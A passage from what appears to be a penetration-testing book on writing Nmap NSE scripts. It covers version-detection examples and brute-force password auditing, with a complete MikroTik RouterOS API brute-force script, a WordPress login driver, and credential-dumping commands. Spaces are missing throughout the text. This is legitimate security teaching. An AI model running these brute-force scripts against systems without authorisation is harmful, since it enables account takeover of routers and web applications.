ThecategoryfieldisactuallyaregularLuatable,sofeelfreetoaddmorecategoriestoyourscriptifnecessary.

DefiningtheportruleofaversiondetectionscriptThenextimportantthingistohaveaportrulematchingthedesiredservice.Keepinmindthatwehavefunctionaliasesthatwillhelpdefinetheseportrules,suchas:

shortport.portnumber(port,protos,states)

shortport.version_port_or_service(ports,services,protos,states)

shortport.port_or_service(ports,services,protos,states)

shortport.service(services,protos,states)

Don’tforgetthatthesealiasesarestoredintheshortportlibrary.Toincludethislibraryinyourscript,yousimplycalltherequire()function:

local"shortport"=require"shortport"

Forexample,let’ssaywewanttomatchanyportorservicerunningonport522TCPorUDPwiththestateopenorfiltered.Wecouldusetheshortportaliasversion_port_or_service()functionasfollows:

portrule=shortport.version_port_or_service({52},nil,{"tcp","udp"},

{"open","open|filtered"})

NoteThedocumentationoftheshortportNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/shortport.html.

UpdatingtheportversioninformationAfterperformingthecorrespondingtasksrequiredtoextractserviceinformation,youwouldwanttoreturnthisadditionalinformationandupdatethecurrentport’sstateandversioninformation.Toupdatetheportversioninformation,youneedtouseNmap’sAPIfunction:

nmap.set_port_version(host,port,confidence)

First,includetheNmaplibrary:

localnmap=require"nmap"

Theset_port_version()functionupdatesthefollowingoptionalfieldsintheVERSIONcolumn:

name

product

version

extrainfo

hostname

ostype

devicetype

service_tunnel

cpe

SettingthematchconfidencelevelTheconfidencefieldrepresentshowaccuratetheinformationreturnedbytheNSEscriptcanbeconsideredtobe.Theavailablevaluesare:

hardmatched

softmatched

nomatch

tcpwrapped

incomplete

NoteThedefaultvalueishardmatched.Thisvaluemeansthattheportinformationis100percentaccurate.

ExamplesofversiondetectionscriptsNowwewillbrieflycoverafewexamplesofdifferentNSEversionscriptstofamiliarizeourselveswiththestructureandrequiredcomponents.

NSEscript–modbus-discoverThemodbus-discoverscriptwaswrittenbyAlexanderRudakovtoretrievedeviceinformationthroughthemodbusprotocol.ModbusisverypopularamongSupervisoryControlAndDataAcquisition(SCADA)systems.ThescriptattemptstodiscovervalidSlaveIDs(SIDs)andretrieveadditionaldeviceinformation:

action=function(host,port)

—Iffalse,stopafterfirstsid.

localaggressive=stdnse.get_script_args('modbus-discover.aggressive')

localopts={timeout=2000}

localresults={}

forsid=1,246do

stdnse.print_debug(3,"Sendingcommandwithsid=%d",sid)

localrsid=form_rsid(sid,0x11,"")

localstatus,result=comm.exchange(host,port,rsid,opts)

if(statusand(#result>=8))then

localret_code=string.byte(result,8)

if(ret_code==(0x11)orret_code==(0x11+128))then

localsid_table={}

ifret_code==(0x11)then

table.insert(results,("Positiveresponseforsid=

0x%x"):format(sid))

localslave_id=extract_slave_id(result)

if(slave_id~=nil)thentable.insert(sid_table,

"SLAVEIDDATA:"..slave_id)end

elseifret_code==(0x11+128)then

localexception_code=string.byte(result,9)

localexception_string=

modbus_exception_codes[exception_code]

if(exception_string==nil)thenexception_string=

"UNKNOWNEXCEPTION"end

table.insert(results,("Positiveerrorresponseforsid

=0x%x(%s)"):format(sid,exception_string))

end

localdevice_table=discover_device_id(host,port,sid)

if(#device_table>0)then

table.insert(sid_table,

form_device_id_string(device_table))

end

if(#sid_table>0)then

table.insert(results,sid_table)

end

if(notaggressive)thenbreakend

end

end

end

if(#results>0)then

port.state="open"

port.version.name="modbus"

nmap.set_port_version(host,port)

end

returnstdnse.format_output(true,results)

end

Ifweopenthescript,thefirstthingwenoticeisthecategoriesourscriptbelongsto:

categories={"discovery","intrusive"}

Thenwenoticeitsexecutionrule:

portrule=shortport.portnumber(502,"tcp")

Thereasonweusedthisscript,eventhoughitisnotincludedintheversioncategory,istodemonstratethatanyscriptcanupdateportversioninformationthroughtheNmapAPI.

Thescriptthengoesonitsdetectionroutine;finally,itwillsimplyupdatetheportstateandversionnameofthetargetwiththehelpofthenmap.set_port_version()function:

if(#results>0)then

port.state="open"

port.version.name="modbus"

nmap.set_port_version(host,port)

end

Theresultsofthemodbus-discoverscriptwilllooksimilartothefollowingexample:

PORTSTATESERVICE

502/tcpopenmodbus

|modbus-discover:

|Positiveresponseforsid=0x64

|SLAVEIDDATA:\xFA\xFFPM710PowerMeter

|DEVICEIDENTIFICATION:SchneiderElectricPM710v03.110

|_Positiveerrorresponseforsid=0x96(GATEWAYTARGETDEVICEFAILEDTO

RESPONSE)

NSEscript–ventrilo-infoTheventrilo-infoscriptwassubmittedbyMarinMarzictodetectthepopularVentrilovoicecommunicationserverandextractinterestingconfigurationvaluesandinformationsuchasexactOSinformation,uptime,authenticationscheme,andmore.ThisisadefaultversiondetectionscriptincludedinNmap.

Openthesourcecodeofthescriptandlookattheexecutionrule:

portrule=shortport.version_port_or_service({3784},"ventrilo",{"tcp",

"udp"})

Afterdetectingtheserviceandconfiguration,thescriptsetsthecorrespondingportversionfieldsandupdatestheporttable:

--parsethereceiveddatastringintoanoutputtable

localinfo=o_table(fulldata_str)

port.version.name="ventrilo"

port.version.name_confidence=10

port.version.product="Ventrilo"

port.version.version=info.version

port.version.ostype=info.platform

port.version.extrainfo=";name:"..info.name

ifport.protocol=="tcp"then

port.version.extrainfo="voiceport"..port.version.extrainfo

else

port.version.extrainfo="statusport"..port.version.extrainfo

end

port.version.extrainfo=port.version.extrainfo..";uptime:"..

uptime_str(info.uptime)

port.version.extrainfo=port.version.extrainfo..";auth:"..

auth_str(info.auth)

nmap.set_port_version(host,port,"hardmatched")

Thistime,theset_port_version()functionsetsthematchlevelashardmatchedbecauseweare100percentconfidentthatwearetalkingtoaVentriloserver.

AVentriloserverscannedwithservicedetectionenabledshouldreturnresultssimilartothefollowing:

PORTSTATESERVICEVERSION

9408/tcpopenventriloVentrilo3.0.3.C(voiceport;name:TypeFrag.com;

uptime:152h:56m;auth:pw)

|ventrilo-info:

|name:TypeFrag.com

|phonetic:TypeFragDotCom

|comment:http://www.typefrag.com/

|auth:pw

|max.clients:100

|voicecodec:3,Speex

|voiceformat:32,32KHz%2C16bit%2C10Qlty

|uptime:152h:56m

|platform:WIN32

|version:3.0.3.C

|channelcount:14

|channelfields:CID,PID,PROT,NAME,COMM

|clientcount:6

|clientfields:ADMIN,CID,PHAN,PING,SEC,NAME,COMM

|channels:

|<toplevellobby>(CID:0,PID:n/a,PROT:n/a,COMM:n/a):<empty>

|Group1(CID:719,PID:0,PROT:0,COMM:):

|stabya(ADMIN:0,PHAN:0,PING:47,SEC:206304,COMM:

|Group2(CID:720,PID:0,PROT:0,COMM:):<empty>

|Group3(CID:721,PID:0,PROT:0,COMM:):<empty>

|Group4(CID:722,PID:0,PROT:0,COMM:):<empty>

|Group5(CID:723,PID:0,PROT:0,COMM:):

|SirMasterWin(ADMIN:0,PHAN:0,PING:32,SEC:186890,COMM:

|waterbukk(ADMIN:0,PHAN:0,PING:31,SEC:111387,COMM:

|likez(ADMIN:0,PHAN:0,PING:140,SEC:22457,COMM:

|Tweet(ADMIN:0,PHAN:0,PING:140,SEC:21009,COMM:

|Group6(CID:724,PID:0,PROT:0,COMM:):<empty>

|Raid(CID:725,PID:0,PROT:0,COMM:):<empty>

|Officers(CID:726,PID:0,PROT:1,COMM:):<empty>

|PG13(CID:727,PID:0,PROT:0,COMM:):<empty>

|RatedR(CID:728,PID:0,PROT:0,COMM:):<empty>

|Group7(CID:729,PID:0,PROT:0,COMM:):<empty>

|Group8(CID:730,PID:0,PROT:0,COMM:):<empty>

|Group9(CID:731,PID:0,PROT:0,COMM:):<empty>

|AFK-switchtothiswhenAFK(CID:732,PID:0,PROT:0,COMM:):

|_Eisennacher(ADMIN:0,PHAN:0,PING:79,SEC:181948,COMM:

ServiceInfo:OS:WIN32

NSEscript–rpc-grindTherpc-grindscriptwassubmittedbyHaniBenhabilesandisanexampleofhowpowerfulNSEis.ThisscriptreplacedtheCimplementationofRPCgrindingshippedwithNmap,anditextractstheservicename,RPCnumber,andversion.

Inthescriptportrule,theyfollowthegoodpracticeofcheckingandhonoringtheexcludedportstable,andalsoavoiddouble-checkingservicesthathavebeenalreadyidentified:

portrule=function(host,port)

—Donotrunforexcludedports

if(nmap.port_is_excluded(port.number,port.protocol))then

returnfalse

end

ifport.service~=nilandport.version.service_dtype~="table"and

port.service~='rpcbind'then

—Excludeservicesthathavealreadybeendetectedassomething

—differentthanrpcbind.

returnfalse

end

returntrue

end

ThisscriptsendsnullRPCcallrequeststoRPCprogramnumberslistedinthenmap-rpcfile.Afterprocessingtheresponses,itchecksresultsandupdatestheportinformation:

if#result>0then

port.version.name=result.program

port.version.extrainfo="RPC#"..result.number

ifresult.highver~=result.lowverthen

port.version.version=("%s-%s"):format(result.lowver,

result.highver)

else

port.version.version=result.highver

end

nmap.set_port_version(host,port,"hardmatched")

else

stdnse.print_debug("Couldn'tdeterminethetargetRPCservice.

Runningaservicenotinnmap-rpc?")

end

IfanRPCserviceisdetected,theoutputwilllooksimilartothefollowing:

PORTSTATESERVICEVERSION

53344/udpopenwalld(walldV1)1(RPC#100008)

SummaryInthischapter,youlearnedtheinnerworkingsofversiondetectioninNmap,includingitsphases,databasestructure,exclusions,andpost-processors.Themodbus-discover,ventrilo-info,andrpc-grindNSEversionscriptswereusedasrealexamplesoftheadvancedfingerprintingthatNSEisabletoperform.

Atthispoint,youshouldbefamiliarnotonlywiththeversiondetectionsystemofNmapbutalsowiththeNSEAPI.YounowhavetheknowledgerequiredtoperformadvancedfingerprintingtasksagainstnewservicesandimprovethedetectioncapabilitiesofNmap.Iencourageyoutogowriteyourfirstversiondetectionscriptbeforecontinuingtothenextchapter.Itwillalsohelpyoutopracticesomereal-casescenariosofpatternmatchingwithLua.

Inthenextchapter,youwilllearnaboutthepowerfulbrute-forcepassword-auditingframeworkavailableinNSE,andhowtowritescriptsforcustomapplicationsornewprotocols.Youwillalsolearntoimplementthepowerfulbrutelibraryandotherimportantlibrariesrelatedtousercredentials.Prepareyourwordlistsandlet’sbrute-forcesomecredentials.

Chapter6.DevelopingBrute-forcePassword-auditingScriptsOneimportantfeatureofNSE,(sadly)oftenforgotten,istheabilitytoperformbrute-forcepassword-auditingattacksagainstnumerousservices,applications,andprotocols.Asexperiencedpenetrationtesters,weknowthatweakcredentialsarefoundinmanyITenvironments,anditisimpossibletofindthemallmanuallywithoutboringyourselftodeath.ThebruteNSEcategoryattemptstoeasethispainbygroupingover50differentscriptstoworkwithavarietyofapplications,services,andprotocolssuchasthese:

HTTP,HTTPS,andapplication-specificscriptsforwebapplicationsSMTP,POP,andIMAPformaildeliverysystemsOracle,IBMDB2,MySQL,MSSQL,Cassandra,andMongoDBfordatabasemanagementsystemsSVNandCVSforsourcecodecontrolsystemsManyotherinterestingprotocolssuchasSIP,VMWareAuthorization,andotherapplication-specificdaemons

Inthischapter,wewillcoverthefollowingtopics:

AdjustingexecutionmodesanddictionariesImplementingtheDriverclassfromthebrutelibraryTuningthebehaviorofthebruteengineWorkingwiththeusernameandpassworddatabasesManagingdiscoveredcredentialsinyourNSEscripts

Prepareyourwordlistsandlet’sventureintowritingbrute-forcepassword-auditingNSEscripts.Ipromiseyouwillbesurprisedtoknowhowstraightforwardthiscanbe.

WorkingwiththebruteNSElibraryThebruteNSElibrary(http://nmap.org/nsedoc/lib/brute.html)wasdevelopedtounifycodingstylesandsavetimewhencreatingscriptsforbrute-forcepassword-auditing.Thislibraryisfullyfeaturedandautomaticallyparallelizestheloginoperationsperformedbythescripts.Itsupportsdifferentexecutionmodesthatchangetheiterationorderusedbytheenginewhenreadinglistsofusernamesandpasswords.Thebrutelibrarycanhandleincompleteloginattemptsandre-addfailedusername-passwordcombinationstothequeue.Italsoworkswiththecredslibrarytohandleandstoreusercredentialsfoundduringscanssothatotherscriptscanbenefitfromthem.Overall,it’saverycompletelibraryofferingasolidbasefromwhichtodevelopbrute-forcepassword-auditingscripts.

ThebruteNSElibrarydefinesthefollowingclasses:

Account

Engine

Options

Error

Thenamesoftheseclassesbythemselvesshoulddescribetheirpurpose,solet’sjumpintosomeimplementationdetails.

AtypicalNSEscriptinvokingthebruteenginewillneedtopasstotheEngineclassconstructoraDriverclassandhost,port,andoptionstables.Aftertheengineisstarted,instancesoftheDriverclasswillbecreatedforeachloginattempt.

Usethebrute.Engine:new()methodtocreateaninstanceoftheengine:

brute.Engine:new(Driver,host,port,options)

Thecompletecodetocreateaclassinstanceofbrute.Engineandstarttheattackisasfollows:

localstatus,result,engine

engine=brute.Engine:new(Driver,host,port,options)

engine:setMaxThreads(thread_num)

engine.options.script_name=SCRIPT_NAME

status,result=engine:start()

Next,wewilllearnusagetricksandhowtodefinetheheartofNSEbrutescripts—theDriverclass.

SelectingabrutemodeExecutionmodedefinesthebehavioroftheiteratorobjectusedagainstthelistsofusernamesandpasswords.Whilethedefaultmodeworksfinemostofthetime,asadvanceduserswemayrequiretotunetheorderofthegeneratedlogincombinations,orperhapstoworkwithafilecontainingcommonusernameandpasswordpairs.

Thebrutelibrarysupportsthreedifferentmodes:

user

pass

creds

Let’ssayourusernamelistcontainsthefollowing:

admin

root

Thenlet’sassumethatourpasswordlistcontains:

test

admin

Inusermode,theenginewillattempttologinwitheverypasswordforeachusername.Withourpreviouslydefinedlists,thelogincombinationsgeneratedwillbeasfollows:

admin:test

admin:admin

root:test

root:admin

Inpassmode,theenginewilltryeveryusernameforeachpassword.Usingtheprecedinglists,itwillgeneratethefollowinglogincombinations:

admin:test

root:test

admin:admin

root:admin

Finally,credsmodereadsasetofcredentialsfromthefiledefinedwiththebrute.credfilelibraryargument.Thisfileshouldcontainlogincombinationswithusernamesandpasswordsseparatedbythe/character.Forexample:

admin/admin

admin/12345

admin/

Selectamodebysettingthebrute.modelibraryargument.Iftheargumentisnotset,thedefaultvalueispass:

$nmap--scriptbrute--script-argsbrute.mode=user<target>

Don’tforgetthatcredsmoderequiresthebrute.credfilelibraryargumenttobedefined:

$nmap--scriptbrute--script-args

brute.mode=creds,brute.credfile=/home/pentest/common-creds.txt<target>

NoteDon’tforgetyoucansetalternatedictionarieswiththeuserdbandpassdbarguments,asfollows:

$nmap--scriptbrute--script-args

userdb=/home/pentest/users.txt,passdb=/home/pentest/top500.txt<target>

ImplementingtheDriverclassThebruteenginewillcreateinstancesoftheDriverclassforeachloginattempt.Themethodsthatneedtobedefinedinthisclassare:

Driver:login

Driver:connect

Driver:disconnect

TheDriver:login()functionstoresthelogicresponsibleforloggingintothetargetusingthegivenusernameandpassword.Itshouldreturntwovalues:aBooleanvalueindicatingtheoperationstatusandanAccountorErrorobject.

TheDriver:connect()methodhandlestasksrelatedtoestablishingtheconnection,suchascreatingnetworksocketsandcheckingwhetherthetargetisonlineandresponding.ThismethodisexecutedbeforeDriver:login().

Finally,theDriver:disconnect()methodisusedtoperformanyadditionalclean-uptaskssuchasclosingfilehandlersornetworksockets.BothDriver:connect()andDriver:disconnect()maybeemptyfunctions.

Thesyntaxusedtodeclarethisclasswilllooksomethinglikethis:

Driver={

new=function(self,host,port,options)

...

end,

login=function(self)

...

end

connect=function(self)

...

end

disconnect=function(self)

...

end

}

Let’stakealookatarealimplementationofthisclass.Thefollowingisaneditedsnippetfromthehttp-wordpress-brutescript.Inthiscase,theDriver:connect()andDriver:disconnect()functionsaren’treallyusedbecauseHTTPcallsmadewiththelibraryhttparethread-safeandnorawnetworksocketsarenecessary:

Driver={

new=function(self,host,port,options)

localo={}

setmetatable(o,self)

self.__index=self

o.options=options

returno

end,

connect=function(self)

returntrue

end,

login=function(self,username,password)

—Notetheno_cachedirective

stdnse.print_debug(2,"HTTPPOST%s%s\n",self.host,self.uri)

localresponse=http.post(self.host,self.port,self.uri,{no_cache

=true},nil,{[self.options.uservar]=username,[self.options.passvar]

=password})

—Thisredirectistakingusto/wp-admin

ifresponse.status==302then

localc=creds.Credentials:new(SCRIPT_NAME,self.host,self.port)

c:add(username,password,creds.State.VALID)

returntrue,brute.Account:new(username,password,"OPEN")

end

returnfalse,brute.Error:new("Incorrectpassword")

end,

disconnect=function(self)

returntrue

end,

check=function(self)

localresponse=http.get(self.host,self.port,self.uri)

stdnse.print_debug(1,"HTTPGET%s%s",

stdnse.get_hostname(self.host),self.uri)

—Checkifpasswordfieldisthere

if(response.status==200andresponse.body:match('type=

[\'"]password[\'"]'))then

stdnse.print_debug(1,"Initialcheckpassed.Launchingbruteforce

attack")

returntrue

else

stdnse.print_debug(1,"Initialcheckfailed.Passwordfieldwasn't

found")

end

returnfalse

end

}

NoteTheDriver:check()functionisdeprecated.Ifyouneedtoperformchecktasks,youshoulddothembeforeinitiatingthebruteengine.

PassinglibraryanduseroptionsOneofthestrengthsofthebrutelibraryisitsflexibility.Itsupportsseveralruntimeconfigurationoptionstotunethebehavioroftheengineprogrammaticallyorwithcommand-linearguments.Forexample,byenablingbrute.firstonly,wemaketheenginestopandexitafterfindingthefirstaccount,whichisahandyoptionifwearelookingforquickaccess.Ofcourse,thisisjustthetipoftheicebergwhenitcomestotheoptionssupportedbythelibrary.

Theoptionsdefinedinthislibraryare:

firstonly

passonly

max_retries

delay

mode

title

nostore

max_guesses

useraspass

emptypass

Aswejustmentioned,thebrute.firstOnlylibraryargumentisaBooleanvalue.Ifset,itmakestheengineexitafterfindingthefirstvalidaccount.Toenableitviathecommandline,weusethisexpression:

$nmap--scriptbrute--script-argsbrute.firstOnly<target>

Thebrute.passOnlyargumentisdesignedtohelpustestpasswordsofablankuseraccount.Tosetthislibraryargument,wetypethefollowinginthecommandline:

$nmap--scriptbrute--script-argsbrute.passOnly<target>

Thebrute.max_retrieslibraryoptionsetsthenumberofnetworkconnectionattemptsperlogin.Becareful;inthiscase,theoptionusesadifferentnameifwedecideittosetitwiththecommandline:

$nmap--scriptbrute--script-argsbrute.retries=10<target>

Thebrute.delayoptionsetstheamountoftime(inseconds)towaitbetweenloginattempts.Hereistheexpressiontosetthisvaluefromthecommandline:

$nmap--scriptbrute--script-argsbrute.delay=3<target>

Somesystemslockaccountsaftercertainnumberoffailedloginattempts.Thebrute.max_guessesoptiondefinesthenumberofloginattemptsforeachaccount.Becarefulwiththisone;theargumentnameisalittledifferentifyouwanttosetitfromthecommandline:

$nmap--scriptbrute--script-argsbrute.guesses=10<target>

Bydefault,thebrutelibrarywillattempttologinusingtheusernameasapassword.Updatethevalueofbrute.useraspassprogrammaticallyorsetitfromthecommandlinewiththefollowingcommand:

$nmap--scriptbrute--script-argsbrute.useraspass=false<target>

Thebrute.emptypassoptionargumentmakesthelibraryattempttologinusingemptypasswords.Thisvaluecanbesetprogrammaticallyorfromthecommandlineaswell:

$nmap--scriptbrute--script-argsbrute.emptypass<target>

Alltheprecedingoptionscanalsobesetprogrammatically.Forexample,tosetthebrute.emptypassoption,yousimplyneedtosetthevariableintheconstructoroftheDriverclass:

Driver=

{

new=function(self,host,port,options)

localo={host=host,port=port,options=options}

setmetatable(o,self)

self.__index=self

o.emptypass=true

returno

end,

}

TipInaddition,thebrute.titleandbrute.nostoreoptionscanonlybeusedprogrammaticallytosettheresulttable’stitleandtoavoidstoringthecredentialsthatarefound.

User-definedoptionsareallowedandaresimpletouse.Justpasstheoptionstableasthefourthparametertothebrute.Engineconstructor:

localoptions={timeout=5000}

localengine=brute.Engine:new(Driver,host,port,options)

Toreadorusetheseuser-definedoptionsinyourDriverclass,yousimplyaccesstheselfobjectthatwaspassedasthefirstargument.Forexample:

ifself.options['timeout']==0then

--Dosomething

end

ReturningvalidaccountsviaAccountobjectsTheAccountclassisusedtorepresentthevalidaccountsfoundinthetargetduringexecution.Eachaccountstoredusingthisclasswillhaveastate.

Theavailablestatesare:

OPEN

DISABLED

LOCKED

YouwillfindyourselfworkingwiththisobjectwhenimplementingtheDriverclass.AninstanceofthisclassmustbeusedasareturnvalueoftheDriver:login()function.Tocreateaninstance,yousimplycalltheconstructorwiththedesiredusername,password,andaccountstate:

brute.Account:new(username,password,"OPEN")

Itisimportantyousetthecorrectstateoftheaccountinyourscripts.Normally,youwillendupwithsomethinglikethisinsideyourDriver:login()implementation:

ifstring.find(data,"Welcomehome")~=nilthen

returntrue,brute.Account:new(username,password,"OPEN")

elseifstring.find(data,"Toomanyattempts.Thisaccounthasbeenlocked")

~=nilthen

returntrue,brute.Account:new(username,password,"LOCKED")

end

HandlingexecutionerrorsgracefullywiththeErrorclassTheErrorclasshelpsustohandleexecutionerrorsbut,moreimportantly,thisclasssignalsbrute.Engineandallowsittomanageloginretries.Forthisreason,youneedtouseitwhendevelopingNSEbrutescripts.

Tocreateaninstanceofbrute.Error,youneedtocalltheconstructorwithadescriptiveerrormessage:

brute.Error:new("Yourownmessageerrorgoeshere")

TheinstanceofthisclassshouldbereturnedasthesecondreturnvalueinyourDriverimplementation:

ifloginthen

returntrue,brute.Account:new(username,password,"OPEN")

else

returnfalse,brute.Error:new("Incorrectpassword")

end

ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryDevelopersstickingtotheframeworkproposedbythebrutelibrarydon’tneedtoworryaboutreadingtheusernameandpassworddatabaseshippedwithNmap.However,ifyoufindyourselfwritingscriptswithoutthislibraryforanyreason,youcouldusetheunpwdblibrarytodoso.

Theunpwdblibraryprovidestwofunctions:usernames()andpasswords().Theyreturnafunctionclosure(ifsuccessful)thatoutputsusernamesandpasswordswitheachcallcorrespondingly.Thereturnedclosurescanalsotaketheresetargumenttosetthepointeratthebeginningofthelist.

Thefollowingsnippetillustrateshowtousethesefunctionclosurestointeractwiththeusernameandpassworddatabase:

localusernames,passwords

localnmap_try=nmap.new_try()

usernames=nmap_try(unpwdb.usernames())

passwords=nmap_try(unpwdb.passwords())

forpasswordinpasswordsdo

forusernameinusernamesdo

—Dosomething!

end

usernames("reset")--Rewindlist

end

TipTheusernameandpassworddatabasesshippedwithNmapcanbefoundintheusernames.lstandpasswords.lstfilesinsideyourdatadirectory(seeChapter3,NSEDataFiles).

Theofficialdocumentationoftheunpwdblibrarycanbefoundathttp://nmap.org/nsedoc/lib/unpwdb.html.

ManagingusercredentialsfoundduringscansInversionsbefore6.x,thecredentialsfoundbyNSEwerestoredintheNmapregistry.Thecredslibrarywascreatedtoprovideaninterfacetoeasilyreadandwriteusercredentialsstoredinthisregistry.Eachaccountislinkedtoastate,similartothebrute.Accountclass,soitallowstypefiltering.

FromanNSEscript,youcouldlistalltheaccountsfoundwithonecall:

tostring(creds.Credentials:new(SCRIPT_NAME,host,port))

Youcanalsoiteratethroughthemandperformspecificactionsaccordingtotype:

localc=creds.Credentials:new(creds.ALL_DATA,host,port)

forcredinc:getCredentials(creds.State.VALID)do

doSomething(cred.user,cred.pass)

end

Youcaneasilywritethemtoafile:

localc=creds.Credentials:new(SCRIPT_NAME,host,port)

status,err=c:saveToFile("credentials-dumpfile-csv","csv")

Newcredentialscanbewrittengloballyorlinkedtoaspecificservice.Forexample,toaddcredentialsspecifictotheHTTPservice,wecouldusethis:

$nmap-p---scriptbrute--script-argscreds.http="cisco:cisco"<target>

Thenwecouldusetheglobalkeywordastheargumentnametoaddthemglobally:

$nmap-p---scriptbrute--script-args

creds.global="administrator:administrator"<target>

Finally,wewouldwriteanewsetofcredentialstotheregistryprogrammatically,likethis:

localc=creds.Credentials:new(SCRIPT_NAME,self.host,self.port)

c:add(username,password,creds.State.VALID)

NoteTheofficialdocumentationofthecredslibrarycanbefoundathttp://nmap.org/nsedoc/lib/creds.html.

WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPILet’stieeverythingtogetherbywritingacompleteNSEscriptthatusesallthelibrariesseeninthischapter.Onthisoccasion,wewilltargetdevicesrunningMikroTikRouterOS3.xandhigherversionswithAPIaccessenabled.

TheAPIserviceusuallyrunsonTCPport8728,anditallowsadministrativeaccesstothedevicesrunningthisoperatingsystem.Often,administratorswilllockdownHTTPandSSHbutnottheAPI.Let’swriteascriptthathelpsusperformbrute-forcepassword-auditingagainstthisservice:

1. First,let’sstartwiththeinformationtagsandrequiredlibraries:

description=[[

PerformsbruteforcepasswordauditingagainstMikrotikRouterOS

deviceswiththeAPIRouterOSinterfaceenabled.

Additionalinformation:

*http://wiki.mikrotik.com/wiki/API

*http://wiki.mikrotik.com/wiki/API_in_C

*https://github.com/mkbrutusproject/MKBRUTUS

]]

author="PaulinoCalderon<calderon()websec.mx>"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"discovery","brute"}

localshortport=require"shortport"

localcomm=require"comm"

localbrute=require"brute"

localcreds=require"creds"

localstdnse=require"stdnse"

localopenssl=stdnse.silent_require"openssl"

2. ThescriptwillrunwhenTCPport8728isopenbecauseNmapdoesnotdetectthisservicecorrectlyatthemoment.Let’suseshortport.portnumber()todefinethisasaportrule:

portrule=shortport.portnumber(8728,"tcp")

3. Next,let’sstartimplementingourDriverclass.Thedefaultadministrativeaccountinthistypeofdeviceisadmin,withablankpassword,solet’senableemptypasswordswhendefiningtheconstructor:

Driver=

{

new=function(self,host,port,options)

localo={host=host,port=port,options=options}

setmetatable(o,self)

self.__index=self

o.emptypass=true

returno

end

}

4. OurDriver:connect()functionshouldsetupthesocketconnectionwearegoingtoneed.Noticehowweaccesstheoptionstabletoreadthetimeoutvalue:

connect=function(self)

self.s=nmap.new_socket("tcp")

self.s:set_timeout(self.options['timeout'])

returnself.s:connect(self.host,self.port,"tcp")

end

5. NowweneedaDriver:disconnect()functiontoclosethenetworksocketscorrectlytoavoidsocketexhaustion:

disconnect=function(self)

returnself.s:close()

end

Finallywegettothegoodpart,ourDriver:login()function.Here,weconstructavalidloginqueryfortheAPIprotocol.Let’sbreakitdownabit:

1. First,wecreatetherequiredconnectionprobewiththehelpofbin.pack()andanNmapexceptionhandler:

login=function(self,username,password)

localstatus,data,try

data=bin.pack("cAx",0x6,"/login")

try=nmap.new_try(function()returnfalseend)

2. Let’ssendthisprobetothetargetandattempttoobtainachallengeresponse:

try(self.s:send(data))

data=try(self.s:receive_bytes(50))

stdnse.debug(1,"Response#1:%s",data)

local_,_,ret=string.find(data,'!done%%=ret=(.+)')

3. Ifthechallengeresponsewasextractedcorrectly,wecanformtheloginquerystring:

ifretthen

stdnse.debug(1,"Challengevaluefound:%s",ret)

localmd5str=bin.pack("xAA",password,ret)

localchksum=stdnse.tohex(openssl.md5(md5str))

locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,

"=name="..username,0x2c,"=response=00"..chksum)

4. Let’ssendtheloginqueryandwaitforaresponse:

try(self.s:send(login_pkt))

data=try(self.s:receive_bytes(50))

stdnse.debug(1,"Response#2:%s",data)

5. Wethenlookforthetextpatternthatindicatesthattheloginattemptwassuccessful.

Ifitwas,wecanaddittoourcredentialsregistryandreturntheresultstotheengine:

ifdataandstring.find(data,"%!done")~=nilthen

ifstring.find(data,"message=cannot")==nilthen

localc=creds.Credentials:new(SCRIPT_NAME,self.host,

self.port)

c:add(username,password,creds.State.VALID)

returntrue,brute.Account:new(username,password,

creds.State.VALID)

end

end

6. Iftheloginattemptwasn’tsuccessful,wereturnaninstanceofbrute.Error:

returnfalse,brute.Error:new("Incorrectpassword").

7. Ourfinalclasswilllooklikethis:

Driver=

{

new=function(self,host,port,options)

localo={host=host,port=port,options=options}

setmetatable(o,self)

self.__index=self

o.emptypass=true

returno

end,

connect=function(self)

self.s=nmap.new_socket("tcp")

self.s:set_timeout(self.options['timeout'])

returnself.s:connect(self.host,self.port,"tcp")

end,

login=function(self,username,password)

localstatus,data,try

data=bin.pack("cAx",0x6,"/login")

--Connecttoserviceandobtainthechallengeresponse

try=nmap.new_try(function()returnfalseend)

try(self.s:send(data))

data=try(self.s:receive_bytes(50))

stdnse.debug(1,"Response#1:%s",data)

local_,_,ret=string.find(data,'!done%%=ret=(.+)')

--Ifwefindthechallengevaluewecontinuetheconnectionprocess

ifretthen

stdnse.debug(1,"Challengevaluefound:%s",ret)

localmd5str=bin.pack("xAA",password,ret)

localchksum=stdnse.tohex(openssl.md5(md5str))

locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,

"=name="..username,0x2c,"=response=00"..chksum)

try(self.s:send(login_pkt))

data=try(self.s:receive_bytes(50))

stdnse.debug(1,"Response#2:%s",data)

ifdataandstring.find(data,"%!done")~=nilthen

ifstring.find(data,"message=cannot")==nilthen

localc=creds.Credentials:new(SCRIPT_NAME,self.host,

self.port)

c:add(username,password,creds.State.VALID)

returntrue,brute.Account:new(username,password,

creds.State.VALID)

end

end

end

returnfalse,brute.Error:new("Incorrectpassword")

end,

disconnect=function(self)

returnself.s:close()

end

}

Finally,theonlythinglefttodoistocreateaninstanceofbrute.Engine.Ourmainactioncodeblockwillinitializebrute.Engineandreadacoupleofargumentsdefiningconfigurationoptionssuchasthreadnumberandconnectiontimeout:

action=function(host,port)

localresult

localthread_num=stdnse.get_script_args(SCRIPT_NAME..".threads")or3

localoptions={timeout=5000}

localbengine=brute.Engine:new(Driver,host,port,options)

bengine:setMaxThreads(thread_num)

bengine.options.script_name=SCRIPT_NAME

_,result=bengine:start()

returnresult

end

Ourfinalversionisready,andwecangoandtestitagainstourtarget.Thelibrarywilltakecareofproducinganicereportforus:

PORTSTATESERVICE

8728/tcpopenunknown

|mikrotik-routeros-brute:

|Accounts

|admin-Validcredentials

|Statistics

|_Performed500guessesin70seconds,averagetps:7

Andthat’sall!WehavecreatedaverypowerfulNSEscriptthatperformsbrute-forcepassword-auditingagainstaserviceinfewerthan100lines.IrecommendthatyoufindaserviceorapplicationandwriteanNSEbrutescriptforit.Youwillbeverypleasedwithitspowerifyouarenotalreadypleased.

NoteThecompletemikrotik-routeros-brutescriptcanbefoundathttps://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/mikrotik-routeros-brute.nse.

